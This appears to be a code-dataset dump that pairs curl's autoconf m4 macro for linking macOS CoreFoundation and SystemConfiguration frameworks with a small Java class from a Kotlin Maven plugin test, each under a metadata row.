| Objective-J | 4 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symata_test/numeric_test.sj | [
"MIT"
] |
#***************************************************************************
# _ _ ____ _
# Project ___| | | | _ \| |
# / __| | | | |_) | |
# | (__| |_| | _ <| |___
# \___|\___/|_| \_\_____|
#
# Copyright (C) 1998 - 2021, Daniel Stenberg, <daniel@haxx.se>, et al.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://curl.se/docs/copyright.html.
#
# You may opt to use, copy, modify, merge, publish, distribute and/or sell
# copies of the Software, and permit persons to whom the Software is
# furnished to do so, under the terms of the COPYING file.
#
# This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
# KIND, either express or implied.
#
#***************************************************************************
AC_DEFUN([CURL_DARWIN_SYSTEMCONFIGURATION], [
AC_MSG_CHECKING([whether to link macOS CoreFoundation and SystemConfiguration framework])
case $host_os in
darwin*)
AC_COMPILE_IFELSE([
AC_LANG_PROGRAM([[
#include <TargetConditionals.h>
]],[[
#if (TARGET_OS_OSX)
return 0;
#else
#error Not a macOS
#endif
]])
],[
build_for_macos="yes"
],[
build_for_macos="no"
])
if test "x$build_for_macos" != xno; then
AC_MSG_RESULT(yes)
LDFLAGS="$LDFLAGS -framework CoreFoundation -framework SystemConfiguration"
else
AC_MSG_RESULT(no)
fi
;;
*)
AC_MSG_RESULT(no)
esac
])
| M4 | 4 | jan2000/curl | m4/curl-sysconfig.m4 | [
"curl"
] |
package lib;
public class Manager {
public void doJob(Job job) {}
public void doJobWithoutReceiver(JobWithoutReceiver job) {}
} | Java | 2 | AndrewReitz/kotlin | libraries/tools/kotlin-maven-plugin-test/src/it/test-sam-with-receiver-simple/src/main/java/lib/Manager.java | [
"ECL-2.0",
"Apache-2.0"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.